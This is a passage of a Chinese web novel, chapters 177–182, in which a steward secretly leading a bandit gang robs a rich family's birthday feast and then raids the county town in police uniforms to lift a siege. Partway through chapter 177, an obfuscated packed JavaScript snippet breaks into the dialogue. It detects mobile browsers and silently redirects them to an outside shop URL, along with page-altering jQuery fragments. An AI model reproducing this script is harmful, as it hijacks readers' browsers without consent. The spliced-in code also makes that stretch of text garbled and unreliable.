“大哥,最好是后天就让凤凰镇民团来县里报到,最迟不能超过大后天。” 孙竹刚想了想,便一口应承下来。 第177章 拜寿 两人正说着话,严婆惜端着两盘凉菜走了进来。 “我包饺子还需要一些时间,你们哥俩先喝着。” 严婆惜放下谅菜,又去拿来一瓶酒。 “你陪二狗兄弟多喝点,喝多了也不怕,待会我去把床铺收拾出来,二狗兄弟今晚就住这。” 严婆惜把酒斟满,才笑靥如花地走了出去,临走还不忘给李二狗偷偷抛个媚眼。 李二狗再次有上了贼船的感觉。 “来,兄弟,咱哥俩喝一杯,不管你做什么,哥哥这边能帮得绝对不含糊。” 李二狗说道:“大哥办事真是敞亮,兄弟也绝对不会忘记大哥对我的好,来,我敬你一杯。” 推杯换盏之间,饺子端上桌的时候,孙竹刚已经趴在桌子上睡着。 严婆惜嘴都乐歪了。 “不能喝还硬喝,真是不稀说你,来,二狗兄弟,你帮嫂子一起,把你大哥扶到床上去。” 李二狗赶紧站起来,说道:“嫂子,我自己来。” “你大哥这么沉,你自己一个人能行吗?我们还是一起。” “嫂子,你松手,我自己来就行。” 两人拉拉扯扯之间,严婆惜总是把自己的身体蹭到李二狗身上,那种软软的麻麻的感觉令李二狗酒劲上涌,面红耳赤。 两人费了好大的劲才把孙竹刚弄到床上。 李二狗和严婆惜累得气喘吁吁,尤其是严婆惜看李二狗的眼神仿佛能滴出水来。 正在这时,孩子不合时宜地哭了起来。 “兄……弟,你快趁热吃饺子,我先去把孩子哄睡。” 李二狗看着严婆惜纤细的腰肢,知道今晚又是一个无眠的夜晚。 他就是这种命,想逃也逃不掉! 当张大发接到县警察局轮训通知的时候,高兴地手舞足蹈。 民团作为地方性自治组织,最难的就是得到地方政府的认可和支持。 能到县警察局参加轮训,不仅可以提升民团的战斗力,最重要的是能够得到官方的认可。 通知里说的很清楚,要求全员应训尽训,一个不漏,县警察局后期会根据本次参训人数提供必要的支持。 张大发带领凤凰镇民团全体人员浩浩荡荡地奔赴县警察局训练基地,开始了为期一周的训练。 与此同时,清风寨和沈家大院也同样忙得热火朝天,一个准备砸窑,一个准备过寿。 终于迎来了沈老太爷八十大寿这个普天同庆的日子。 李二狗作为胡家大院的管家,代表胡士高前来拜寿,光抬寿礼的家丁就带了五六个,他们个个身强体壮,一看就是训练有素之人。 沈必达穿着一身绫罗绸缎在门口迎客。 李二狗抱拳道:“沈少爷,恭喜恭喜啊,我们老爷在省城出差,实在是腾不出空,还请您和沈老太爷多多见谅。” 胡士高去省城治病的消息在十里八乡早就传开,现在胡家大院由李二狗当家主事,谁人不知,谁人不晓。 沈必达抱拳回礼道:“李管家,你太客气了,感谢大驾光临!待会一定要多喝几杯。” 看着胡家大院送来这么多寿礼,沈必达高兴地喜笑颜开。 “李管家,胡老爷实在是太客气了,这……怎么好意思呢。” 李二狗笑道:“沈老大爷德高望重,在咱们江东县,一提到沈老太爷谁不竖个大拇指?如今沈老太爷过八十大寿,这点心意根本不足以表达我们激动的心情。” “哈哈哈,李管家真是令人佩服啊,我沈家大院如果有你这样的管家,足慰平生啊。” “沈少爷过奖了。” 李二狗进入沈家大院,院内张灯结彩,锣鼓喧天,鞭炮齐鸣、人山人海。 “李管家,好久不见,别来无恙啊。” 李二狗转身一看,不禁吃了一惊,张大发笑容满面地走了过来。 “张队长,好久不见。” “走,去那边坐,我正有事要找你。” 张大发拉着李二狗来到一个稍微僻静的角落。 “张队长,我听说县警察局组织各地民团开展轮训,你们凤凰镇民团位列首位,恭喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822445|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 恭喜啊。” 张大发笑道:“都是一些虚名罢了,管理太严格,我这费了好大的劲才请了一天假。” “沈老太爷德高望重,他过八十大寿,即使有天大的事也得来,张队长,你仁义啊。” “哈哈,李管家过奖了,”张大发诡秘一笑,“我们民团经费主要靠沈家大院支持,沈家这么大的事不来实在说不过去。” 张大发瞅了瞅四周,低声问道:“我听说胡老爷命不久矣,是不是真的?” 李二狗叹了一口气,说道:“张队长也不是外人,实不相瞒,确实是朝不保夕。” “胡老爷膝下只有一子,听说还是个傻子,以后胡家大院难道要女人当家?” 李二狗很奇怪张大发为何突然问这个问题,胡家大院谁当家和他有什么关系? “现在我们大奶奶怀着身孕,想来应该是她做主。” “李管家,你和她关系如何?” 李二狗故意面露不悦之色,问道:“张队长,你这话是什么意思?” 张大发急忙解释道:“李管家,你千万别误会,我不是那个意思。” “那你是什么意思?” “你也知道,我们凤凰镇民团规模越来越大,仅靠沈家大院确实难以维系日常开支,你们仙人洞镇又没有民团,我是想着,以后仙人洞镇的社会治安也由我们凤凰镇民团担任,你觉得此事怎么样?” 李二狗这才明白张大发的意思,原来他是想让胡家大院也出钱给凤凰镇民团。 “张队长,我个人十分赞成你这个提议,本来咱们两个镇子就离得不远,可现在胡老爷还在省城治病,恐怕还得再等等。” 张大发笑道:“还得请李管家多多美言几句,你放心,事成之后,我会建议由你来担任凤凰镇民团的副队长,虽然名义上是副队长,但咱兄弟之间谁跟谁啊,有事商量着来呗,你说是不是?” 李二狗心想,一个沈家大院每年出那么多钱还喂不饱你,还想把胡家大院拉进来,也不怕把自己撑死。 第178章 砸窑 “张队长请放心,我一定竭力促成此事。” 张大发显然没有料到李二狗会答应的如此痛快。 “那我就等李管家的好消息了。” “哈哈,这个好说,”李二狗表面淡定,内心却很着急,他怕张大发坏了自己的计划,“张队长,我帮你促成这么大的事,待会咱们可得多喝几杯啊。” “这个自然,这个自然,待会我多敬李管家几杯,咱们一醉方休,喝完酒我带你去个好地方,哈哈。” 张大发一脸淫笑。 很快戏班子就咿咿呀呀地唱了起来,台上台下,一片欢歌笑语,真是亲朋共享天伦乐,欢声笑语寿满堂。 李二狗和张大发推杯换盏,把酒言欢,觥筹交错,酒至半酣,泪洒滂沱忆当年。 “张队长,你知道吗?从我第一次见你,我就觉得你是一个能干大事之人,兄弟我佩服啊,来,我再敬你一杯。” 张大发已经喝得有些迷糊,他内心十分愿意结交李二狗这样是实权人物。 “李管家,来,干了!” “张队长,叫我二狗。” “二狗,叫我大发。” “大发,来,我们干了!” “谁不干谁是狗吊!干了!” 李二狗也没想到张大发酒量如此之大,他只能偷偷把酒倒在桌下。 张大发终于醉倒在桌上。 “张队长,张队长。” 李二狗喊了几声,张大发毫无反应。 这时,沈必达端着酒杯走过来敬酒。 “李管家,我敬你一杯,”他低头看了一眼趴在桌上的张大发,“张队长,我也敬你一杯。” 李二狗说道:“张队长太高兴了,喝多了,哈哈,来,咱们喝。” 两人干了一杯。 沈必达为人一向高傲,但胡家大院是江东县实力最强的地主大院,李二狗虽然只是一个管家,但代表的却是胡士高,沈必达必然要对他高看一眼。 沈必达拱手道:“李管家,照顾不周,还请见谅啊。” 李二狗突然一个站立不稳,差点摔倒在地上。 沈必达上前扶起李二狗,笑道:“李管家,你喝多了。” 李二狗口齿不清地说道:“沈少爷……你放心,我没喝多,你去忙吧,我……我来照顾张队长。” 沈必达招手叫过来两个家丁,吩咐道:“找一间客房,扶张队长和李管家去休息。” “沈少爷,我没喝多,咱们接着喝。” 沈必达说道:“李管家,你先去休息,等休息好了咱们再喝。” 家丁扶着李二狗和张大发去了客房。 “张队长,张队长……” 李二狗喊了几声,张大发早已醉得不省人事。 他便打开房门,走了出来。 李二狗带来的家丁里面有陈嘎子、张石头,他们两人一直盯着李二狗的动向,此时正在门口等候。 “嘎子、石头,天马上要黑了,你们现在去后门,解决掉后门看守,把兄弟们放进来,先把四周的角楼控制住,记住,尽量不放枪不伤人。” “好的,狗哥,我们现在就去。” 很快,沈家大院就传来一阵骚乱声。 “砰砰”两声枪响之后,又顿时安静下来。 陈老三蒙着面,拿着双枪,站在戏台上。 沈必达对身边的一个家丁说道:“快去找张队长,让他带民团过来。” 家丁说道:“少爷,民团正在县警察局轮训,恐怕一时半会儿赶不过来。” “妈的!一群废物!”沈必达骂道。 关键时刻掉链子! 土匪早不来晚不来,偏偏这个时候来,也太巧了! 沈必达压制着内心的恐惧,拱手道:“这位好汉,今天是我们家老爷子八十大寿,还请各位好汉给我们沈家大院一个面子,我们愿意奉上一千块大洋,还请高抬贵手!” 陈老三喝骂道:“妈了个巴子,拿一千块大洋就想打发我们,还不够老子喝奶的。” 沈老太爷已经吓得瘫在太师椅上,天天喝人奶,也没让他有副好身板。 “好汉,你说个数,我绝不还价!” “哈哈,我要所有!” “你……” 陈老三和沈必达扯皮的时候,弟兄们已经开始在沈家大院各处搜索,光晚上收到的贺礼就有几千块大洋。 半个时辰后,陈老三带着弟兄们扬长而去。 “爹,爹……” 沈老太爷寿终正寝,享年八十岁。 李二狗扶着张大发走了出来,张大发看到满地杯盘狼藉。 “沈少爷,这是……” “废物!你给我滚!”沈必达怒吼道。 张大发还要问,被李二狗一把拉住。 “大发,现在不是说话的时候,我们先出去再说。” 李二狗和张大发出了沈家大院,张大发的酒也醒了大半。 “这些可恶的土匪,老子要亲自带人剿灭他们。” “大发,现在不是意气用事的时候,军队警察都剿灭不了,咱们民团才有几个人?要是都折进去,以后谁还搭理咱们?” 一句话说到张大发心坎上,手里有枪,心中不慌,什么时候都不能干赔本买卖。 “现在怎么办?沈必达对我们民团一肚子意见,以后再想让沈家大院赞助民团,恐怕没那么容易了。” 李二狗说道:“大发,没事的时候谁会想起民团?出了事才更能体现民团的重要性。” “二狗,此话怎讲?” “这次土匪砸窑,很明显是他们提前知道你们民团去县里轮训,钻了空子,这不更能体现民团的重要性吗?民团在或者不在,区别一目了然,等民团轮训回来,不还得靠你们吗?他沈必达不是傻子,没有民团,他沈家大院的大门别想关的牢靠。” 张大发听完,不由得对李二狗刮目相看。 “二狗,听君一席话,胜读十年书,你以后一定要来民团帮我啊。” “沈家大院出事,各地地主大院又得紧张一段时间,相信我们老爷和大奶奶也会做出正确的选择,你说呢,大发兄弟?” “哈哈哈,那就全依仗二狗兄弟了,走,我带你去个好地方潇洒潇洒。” 饱暖思淫欲,这话放在张大发身上再合适不过了。 “大发,沈家大院刚刚出了事,我们老爷又不在家,我得赶紧回去,那些女人们离不开我。” “好好好,那咱们改日再聚。” 第179章 当官不为民做主,不如回家卖红薯 事后,李二狗亲自登门给孙竹刚送去五百块大洋,孙竹刚两口子对李二狗自然又是一番热情地招待。 沈必达这次吃了大亏,亲爹被当场气死,他岂能轻易咽下这口气。 在给沈老太爷办完丧事的第二天,他来到江东县,亲自找到县长王正直。 “王县长,这群土匪实在是毫无人性,在我爹过八十大寿当天来抢劫,竟把我爹当场气死,你一定要给我们沈家大院做主啊。” 王正直气的把办公桌拍的震天响。 “这群土匪,简直是无法无天!不消灭他们不知道还要危害多少无辜的百姓!你知道他们是哪里的土匪吗?” 沈必达说道:“他们没有报名号,我想应该是清风寨的土匪,他们山寨离我们凤凰镇最近。” 王正直对清风寨早有耳闻,他几次想剿灭这股土匪,但奈何清风寨占据有利地形,易守难攻,下面的人都不赞成,只能作罢。 他想借着沈家大院被抢这个契机,再次提出剿灭清风寨的提议。 “不剿灭这群土匪,我王正直誓不罢休!” 沈必达当即赞道:“王县长真是为民作主、心系百姓的好县长啊,我代表全县百姓感谢您为江东除害。” 王正直一脸严肃地说道:“当官不为民做主,不如回家卖红薯。” “王县长,我都不知道该说什么好了,”沈必达说着从兜里掏出两根金条放在桌上,“这是我的一点心意,请王县长笑纳。” “沈少爷,你这是做什么?你以为我安排剿匪只是为了你们沈家大院吗?我是为了全县的百姓,你快点把金条收回去。” 王正直嘴上说得正直,喉结处却不停地上下跳动。 “王县长,您别误会,俗话说,兵马未动,粮草先行,我这是捐给咱们县剿匪的费用,权当我们沈家为县里剿匪事业尽一点绵薄之力吧。” “沈少爷能有如此胸怀,我王某人实在是佩服,好吧,我就替县里暂且收下,你回去等我们的好消息吧。” 沈必达走后,王正直把金条拿在手里掂了掂,放进了自己衣兜里。 王正直召集县警察局、县保安团一起开会。 会上,当王正直提出准备剿灭清风寨的土匪时,立即遭到县警察局局长牛得水的反对。 “王县长,清风寨地形险要,易守难攻,上山只有一条狭窄的道路,可谓是一夫当关,万夫莫开,听说他们最近又购置了两门大炮,我们警察局这点家伙什真是攻不下清风寨啊。” 王正直早就料到警察局会如此说,他心中早有对策。 “牛局长,这次你不要担心,县保安团会抽调一个连的兵力协助你们剿匪,这种功在当代,利在千秋的事,我们不做就是失职啊。” 王正直说的慷慨激昂,一副痛心疾首的样子,牛得水不好再提反对意见。 “王县长,既然县保安团出面,我看还是由他们打主攻,我们警察局负责配合他们行动。” 县保安团团长梁有为本来就不愿意去做攻打清风寨这种毫无油水的差事,一听让他们打主攻,立马反驳道:“牛局长,清剿土匪本来就是你们警察局的责任,你怎么能推给我们保安团呢?” “是啊,牛局长,保境安民本来就是你们警察局的责任,我看你们就不要推辞了吧!” 牛得水只得说道:“王县长,既然让县保安团配合我们,为何只抽调一个连的兵力,我建议抽调一个营的兵力,彻底铲除清风寨这群土匪。” 梁有为说道:“牛局长有所不知,省里刚刚抽调我们两个营的兵力去打仗,我现在手里只有一个连的兵力,这不都给了你。” 话已至此,牛得水只能硬着头皮答应下来。 “既然大家都同意,那三天后佛晓发动进攻,一举歼灭清风寨。在这里,我再强调一下纪律,大家一定要注意保密,任何人不得提前把消息泄露出去,违者严惩不贷!” 散会后,牛得水闷闷不乐回到警察局。 孙竹刚走进来,问道:“局长,王县长叫你去开会干什么?” 牛得水指了指房门,孙竹刚立马领会,转身去把房门关上。 “竹刚,有件事还处于保密阶段,你出去千万不要乱说。” “放心吧,局长,我知道纪律。” “王县长计划清剿清风寨的土匪,让咱们警察局打主攻,县保安团抽调一个连的兵力配合咱们行动。” 孙竹刚大吃一惊,连忙说道:“局长,这事可不能答应啊,清风寨那地形,就是整个保安团都拉上去也未必能轻易攻下来啊。” 牛得水又何尝不知道清风寨易守难攻,他拿起茶杯,才发现里面没有水,“啪”的一声把茶杯砸到桌上。 孙竹刚连忙拿过茶杯,给茶杯蓄满水,放到牛得水面前。 “局长,此事就没有转圜的余地吗?” “王县长已经决定了,保安团也答应了,这事已经没有商量的余地,三天后佛晓展开全面攻击,一举拿下清风寨。” “局长,您听说了吗?清风寨自从朱重九死后,换了当家的,他们纪律严明、训练有力,还购买了两门山炮,实力早已今非昔比,我怕咱们贸然攻山肯定要吃大亏啊。” “咱们加上保安团的人,少说也有二三百人,兵力是他们的五六倍,再说保安团也有大炮,这次清风寨是在劫难逃了。” “可这种杀敌八百、自损一千的事情咱们做了又有什么意义呢?到头来损失的还是咱们警察局自己的力量。” “我也不想啊,可现在能有什么办法?你有办法吗?只要你有办法,我就不打!” 孙竹刚确实没有办法,他要有办法,早当局长了。 看孙竹刚不说话,牛得水说道:“你先去准备吧,先不要告诉弟兄们进攻清风寨的事,出发当天再宣布。” 孙竹刚从牛得水办公室出来,早已没有工作的心思,但他又不敢此时离开。 下班后,他立即开着警车直奔胡家大院。 第180章 要撤你们撤 李二狗见孙竹刚连夜开着警车过来,心中立即有了一种不祥的预感。 “大哥,这么晚了,你怎么来了?” 孙竹刚没有客套,直接开门见山地说道:“二狗兄弟,出大事了,县里已经决定三天后拂晓时清剿你们清风寨,我看你们还是快点撤离吧。” 李二狗倒并没有感到十分惊讶,他们刚刚抢劫完沈家大院,又当场气死沈老太爷,早就料定沈家不会善罢甘休。 “大哥,县里想清剿我们清风寨也不是一次两次了,想要攻上我们清风寨可没有那么容易啊。” “二狗兄弟,这次和以往不一样,王县长特意从县保安团抽调了一个连的兵力配合我们警察局行动,他们带有机枪和迫击炮,来者不善啊,我看你们还是暂时先避避风头吧。” 李二狗听后沉默了,如果县保安团配合警察局行动,确实有些棘手。 清风寨虽然占据地形优势,但毕竟只有六十多人,就是和他们拼消耗也是拼不起。 “大哥,多谢你特意赶来提醒,我今天就不留你了,我得马上上山和兄弟们商议商议接下来的应敌之策。” “我也得马上赶回县城,出来久了容易引起怀疑,兄弟,早做决定,别舍不得那些瓶瓶罐罐,打破了咱们可以再买,要是命没了,可就一切都没了。” “谢谢大哥,我知道了。” “好,兄弟保重,那我就先回了,你有事到家里找我。” 孙竹刚走后,李二狗连夜上了清风寨。 清风寨议事厅内灯火通明。 李二狗传达完江东县政府要清剿清风寨的消息之后,陈老三率先跳了出来。 “这些王八蛋,只要他们敢来,我他娘一炮能把他们全部干上天!” “三哥说的对,让这些不知道死活的家伙尝尝咱们大炮的威力。” 李二狗深知,清风寨寨务会虽然有五个人,但能拿主意的只有自己和宋孬蛋,其他人只会执行。 “孬蛋,你什么意见?” “狗哥,我觉得这次他们来者不善,连县保安团都出动了,我们必须谨慎应对!” 陈老三讥笑道:“孬蛋,你狗日的怎么又怂了?保安团又能怎样?他们刀枪不入吗?我就不信一炮干不翻他们!” “三哥,保安团和警察局不一样,他们有机枪,有大炮,属于部队编制,而且训练有素,又经历过战争的洗礼,咱们千万不要小瞧了他们!” “我看你小子还是怂了,咱们清风寨后山悬崖上不来,只有前山一条路,我一个人一门炮就能让他们上天无路,下地无门!” “三哥,我问你,咱们一共有多少发炮弹?” “二十多发啊,怎么了?”陈老三还是一脸的不服气。 “二十发炮弹,总有打光的时候吧?打光了怎么办?” 陈老三还真没想过炮弹打光了怎么办,但他嘴上不能输。 “炮弹打光了不还有枪吗?我用机枪突突了那帮龟孙!” “老三,你给我闭上你的鸟嘴,我们谈正事呢,你他娘捣什么乱?” 陈老三只得闭上嘴,还是一脸的不服气。 “这次敌人来势汹汹,不仅兵力是咱们的五六倍,听说还会携带机枪、迫击炮,如果硬拼,咱们很可能会寨破人亡,必须想一个万全之策。” “狗哥,你带着嫂子离开山寨,我们留下来和他们拼了!”陈老三还是忍不住插话道。 “对,狗哥,你带嫂子先离开,我们这些人无牵无挂的,和他们干就完了。”陈嘎子附和道。 “你们他娘的把我李二狗当成什么人了?贪生怕死?不仁不义?真要是死,大不了大家死在一起,脑袋掉了碗大个疤,我李二狗绝不做孬种。” 大家都被李二狗一番慷慨陈词感动了。 宋孬蛋说道:“狗哥,我认为大家说的对,你现在是胡家大院的管家,没必要留下来冒险,再说,你还有嫂子呢。” 李二狗最担心的还是李素文的安危。 “这个大家不必担心,明天一早先把素文和望冬送下山,我必须留下来和山寨共存亡!” “狗哥……” “好了,这事不必再争了,我已经决定了,咱们现在只讨论如何应对。” 众人一直讨论到天亮,也没有讨论出一个最终结果。 “狗哥,要不然咱们先撤出山寨,等官兵走了咱们可以再回来嘛。”宋孬蛋建议道。 如果撤出山寨,敌人攻上山肯定会一把火烧了山寨,山寨这么多年的苦心经营将毁于一旦。 撤出山寨,这是李二狗不得已才会做出的最后抉择。 “大家先做好两手准备吧,今天中午之前,如果我没有想出应敌之策,我们就撤出山寨。” “要撤你们撤,我坚决不撤!”陈老三倔脾气上来了。 “敢!只要老子一声令下,谁敢不撤,老子毙了他!” 李二狗盖棺定论,无人再敢争论。 “老三,你去帮着望冬收拾行李,一会先把她们送下山。” 李二狗的决定引起了李素文的强烈反对。 “我不下山,我要和你在一起。” “素文,你先听我说……” “我不听,我不听,你死了,你以为我还会苟活于世吗?” “素文,你要相信我,我不会死,你下了山我才能集中精力对付敌人,你留在这里我会分心的。” “如果你没事,我下山便没有必要,如果你有事,那我下山就更没有必要了。” 李二狗没想到李素文如此固执,同时也被她的深情打动。 “素文,听话,咱们一起下山,你别忘了,我是胡家大院的管家。” “你真的下山?” “当然,我只负责出主意,不信,你问老三。” 陈老三也不想望冬留在山寨,便说道:“嫂子,狗哥确实只负责出谋划策。” “那好吧,我告诉你,你必须好好的,你活我活,你死我死!” 李二狗抱着李素文,情浓处,吻得热烈而深沉。 陈老三看的心猿意马,只能对着望冬傻乐,望冬照例给了他一个大白眼。 第181章 你这主意真是妙 李二狗把李素文和望冬送到凤凰镇家中,便赶回胡家大院。 最近李二狗在胡家大院物色到一个新人选,此人名叫张二驴,本来是胡家大院米铺的一个掌柜。 李二狗发现这个人做事讲原则、为人正派,自己交办给他几件事,他都办得干净利索。 经过与于兰芝商议之后,李二狗把张二驴提拔为胡家大院二管家,协助自己管理胡家大院。 “二驴,最近我家里有点事情,我得离开大院几天,我不在的这段时间,你要看好大院,千万不能出任何乱子。” “李管家请放心,我一定守好门户。” 李二狗安排完胡家大院的事情之后,骑马直奔江东县城。 有几件事,昨晚没来得及和孙竹刚确认,他需要到县城亲自确认一下。 非常时期,李二狗没有直接去县警察局,而是来到孙竹刚家中。 严婆惜见到李二狗,两只眼睛直冒绿光。 “二狗兄弟,快进屋里说。” “嫂子,我找大哥有急事,麻烦你快给他打个电话,让他马上回家一趟。” “这么着急吗?你先进屋,咱们交流交流再给他打电话也不迟。” “嫂子,十万火急,我现在真的没有别的心思,请你理解。” 严婆惜这段时间已经和李二狗处出一定的感情,看他确实是有急事,便打消了和他单独交流的念头。 “二狗兄弟你先坐,我这就给你大哥打电话。” 严婆惜摸起电话,打给了孙竹刚。 孙竹刚听到李二狗到家中找他,知道他有急事,便急忙找个借口离开了警察局。 “二狗兄弟,你大哥到家还得十几分钟,要不咱们到卧室……” “嫂子,以后有的是时间,我今天真的有急事。” “嘻嘻,是嫂子着急了,我给你包饺子去,待会你吃完饭再走。” 李二狗心想,她去包饺子还能消停点,便说道:“谢谢嫂子,我还真饿了。” 很快孙竹刚便赶了回来。 “二狗兄弟,这么着急找我有什么事?” 李二狗低声问道:“大哥,我想问问,你们这次警察局是倾巢出动吗?” “是啊,除了留下几个值班的,其余全部参加行动。” “那保安团呢?” 这次行动,县保安团只派出一个连的兵力。 如若真想彻底铲除清风寨,为何只派一个连的兵力?这是李二狗百思不得其解的地方。 “都怪我,昨晚走的太匆忙了,没有和你说清楚,保安团大部分兵力都被省里抽去打老冯了,现在只有一个连的兵力,几乎也是倾巢而出。” 孙竹刚的话证实了李二狗的判断。 “大哥,你听听我这个主意可不可行?” 李二狗便附耳把自己的计划告诉了孙竹刚。 孙竹刚听后不禁拍案叫绝。 “二狗兄弟,你这主意真是妙啊,必能解清风寨之围。” “既然大哥也说妙,那我就赶紧回去准备了,还有,我想让大哥给准备二十件警察制服,不知道大哥方不方便?” 二十件警察制服,这不是少数,孙竹刚想了想,便说道:“好,我来想办法。” “大哥,今天晚上十点前务必把制服送到城郊的城隍庙,我安排人在那等你。” “好,二狗兄弟,我一定准时送到。时间紧迫,我就不留你了,等度过这次危机,咱们兄弟在一醉方休。” 听到李二狗要走,严婆惜赶紧走了进来。 “饺子马上包好了,二狗兄弟吃完再走吧,也不急在这一时。” “你懂什么?二狗兄弟有急事,耽搁一分钟都可能会丢掉性命。” 孙竹刚说得相当严肃,吓得严婆惜差点把手中的面杖掉到地上。 李二狗离开县城之后,骑马直奔清风寨。 陈老三是个急脾气,早已急得火上房。 “狗哥,想出主意了吗?我们到底撤不撤?” 李二狗表情凝重,他先是环视大家一圈,继而说道:“现在我来分配任务。” 凌晨十二点,宋孬蛋率领一支精干小分队潜伏在江东县城城郊城隍庙附近的一片树林里,所有人已经换上警察制服。 这里是从江东县城到清风寨的必经之路。 树林旁边有一处高坡,可以一览无余地看到江东县城城门。 宋孬蛋低头看了看手表,从江东县城到清风寨大约四十里路,部队行军至少需要四个多小时,要想在拂晓时对清风寨发动攻击,理想的出发时间正是凌晨十二点。 去晚了,耽误进攻时间,去早了,又有提前暴露的危险。 “蛋哥,你快看,城门打开了。” 陈嘎子手指城门方向,宋孬蛋放眼望去,果然有一支队伍从城门里走了出来。 李二狗安排自己和陈老三留在清风寨,安排宋孬蛋带着陈嘎子和张石头前往县城。 有宋孬蛋带队,李二狗才放心。 把陈老三留在山寨,宋孬蛋才好带队伍。 出城的队伍浩浩荡荡从树林旁边经过,果然带有机枪和迫击炮。 “蛋哥,他们人可真多,我们要想死守山寨肯定守不住。” “是啊,所以咱们这次行动事关山寨存亡,一定不能有任何闪失。” “蛋哥,我们几点进城?” 宋孬蛋低头看了看表,已经是凌晨一点。 何时进城,必须选择一个合适的时间点,这一点李二狗早有安排。 进城太早,出城清剿的队伍听到枪声会很快赶回来,他们有被围在县城的危险。 进城太晚,清剿的队伍便会对清风寨发动攻击,山寨便有被攻陷的危险。 李二狗经过周密计算,决定让宋孬蛋他们在凌晨一点半进城。 为了以防没有人及时向牛得水报信,李二狗还特意安排一个兄弟穿好警察制服,在县城出现变故后,立即骑马向牛得水报告。 “所有人注意了,我来传达老大命令,进城后,只许放火不许杀人,更不许做奸淫妇女、损害百姓之事,只许抢劫县政府、警察局和保安团,有违反命令者,杀无赦!大家听明白了吗?” “听明白了!” “进城后,我们兵分三路,我、陈嘎子、张石头各带一队人马,分别前往县政府、警察局和保安团,记住,动静闹得越大越好,一个小时后,我们还在这里集合。” “好!” “准备出发!” 第182章 围魏救赵 队伍快走到城门口时,宋孬蛋按照李二狗制定的计划特意留下两个人。 “你们别进城了,留在这里准备接应。” 宋孬蛋带着队伍来到城门口,城门紧闭。 “快开门,快开门!” 守城的只有两个保安团的士兵,他们站在城楼上,看到下面站着一队警察。 “你们干什么的?” “我们是县警察局的。” “县警察局的?你们不是刚刚出城去剿匪了吗?” “牛局长担心城内治安,特意安排我们回来,以防被土匪偷袭。” “那你们等着,我给开城门。” 打开城门后,宋孬蛋掏出一盒烟扔给守门的士兵。 “兄弟,辛苦了。” 士兵接过烟,开心的龇牙咧嘴。 “大家都一样,你们也辛苦了。” “兄弟,这么大的城门只有你们两个人看守,着实辛苦,需不需要我安排两个兄弟和你们一起看守?这样你们还能抽空打个盹。” 士兵一听,更开心了,真是刚想睡觉就有人送枕头。 “嘿嘿,这怎么好意思啊。” “咱们都是吃公家饭的兄弟,本就是一家人,还那么客气干啥?你们两个留下站岗,让保安团的兄弟去睡觉。” “那就谢谢兄弟了,改天我请你喝酒。” “好说,好说。” 宋孬蛋带着队伍大摇大摆地进了城。 “嘎子、石头,你们分别去警察局和保安团,记住,动静闹得越大越好,能不伤人就不伤人。” “你就擎好吧,蛋哥,我们去了。” “等等,狗哥特意交代,一定要把警察局和保安团的那些武器弹药都带走。” “嘿嘿,蛋哥放心,一颗子弹也不会给他们留下。” 宋孬蛋带着几个兄弟径直来到县政府,县政府大门口只有两个警察看守,看宋孬蛋等人穿着警察的服装,也没有防备。 “这么晚了,你们来干什么?” “牛局长不放心,安排我们几个在城里巡逻,可千万不能出什么乱子。” “放心吧,这里是县政府,谁吃了豹子胆敢来这里闹事?” “是啊,是啊,来,兄弟,抽支烟醒醒盹。” 宋孬蛋把烟递给他们的瞬间,已经有两个人从后面捂住他们的嘴,一掌劈晕了。 “先捆起来堵上嘴,扔到门后。” 宋孬蛋带人直接进了县政府。 “你们几个赶紧去放火,能烧的都给烧了。” 几乎同时,县政府、警察局和保安团全部燃起了冲天大火。 整个县城顿时乱成一团,烟尘四起,哭喊声、救火声、惨叫声不绝于耳。 王正直正趴在女人身上睡觉,被外面的吵闹声惊醒。 “怎么回事?怎么回事?” 管家慌慌张张跑进来。 “县长,不好了,不好了,有一伙土匪杀进县城,正在到处杀人放火,听说外面已经血流成河。” “警察局、保安团干什么吃得?怎么能让土匪摸进城来,老子要撤他们的职!” “县长,您忘了?他们都去剿匪了。” 王正直这才反应过来,立马说道:“快派人去把他们叫回来,保卫县城要紧!” 王正直派出的人还未出城,李二狗安排的人早已把江东县城遇袭的情况报告给了牛得水。 “梁团长,你看怎么办?县城遭袭,王县长要是出点差池,咱们可谁都担待不起啊!” 梁有为本来就不愿意剿匪,他立刻说道:“王县长的安危重要,咱们还剿什么匪啊?赶紧回援吧。” “所有人,立即跑步返回县城。” 当牛得水带领队伍返回县城的时候,宋孬蛋已经带着队伍走在返回清风寨的路上。 “蛋哥,这回咱们可发了,保安团那边缴获了三挺机枪,四门迫击炮,枪支弹药实在是太多了,根本拿不了,还好我急中生智,在附近一家店门口找了辆地排车,就这样都还装不下。” 陈嘎子高兴的和屁呲似的,宋孬蛋说道:“嘎子,回去这事可别和狗哥说,不然他肯定踢你。” “踢我?不赏我就算了,干嘛还踢我?” “狗哥再三交代,不拿百姓一针一线,你倒好,把老百姓的地排车都拉走了,你还好意思要奖赏?” 陈嘎子嘿嘿一笑,说道:“蛋哥,兄弟早就想到这一点了,我在老乡门口放了两块大洋,两块大洋足够买四五辆地排车了。” “你小子,真有你的。” 张石头则有些闷闷不乐,警察局没有机枪,也没有迫击炮,他只缴获了一些中正步枪和驳壳枪,这些和陈嘎子的缴获比起来,确实显得有点寒碜。 宋孬蛋敏锐地发现了这一点。 “咱们这次袭击县城,主要任务是为了给清风寨解围,其他都是搂草打兔子,捎带着的事。” 牛得水和梁有为赶回县城,却连土匪的毛都没看到。 当他们得知土匪抢劫了警察局和保安团,破口大骂土匪的十八代祖宗。 王正直来到县政府,看到已经被烧成瓦砾的大楼,气得半天说不出一句话。 “牛局长,梁团长,你们一定要找到这伙土匪,将他们碎尸万段,方能解我心头之恨。” “王县长,听说这群土匪是穿着警察的衣服进的城……” “梁团长,你这话什么意思?” 牛得水瞪着一双牛眼,怒视梁有为。 “牛局长不要误会,我只是向王县长如实禀明情况。” “你……” 王正直怒斥道:“你们不要吵了,现在不是推卸责任的时候,最重要的是找出这群土匪到底是什么人。” 梁有为说道:“王县长,卑职认为应该不是清风寨的土匪。” “何以见得?” 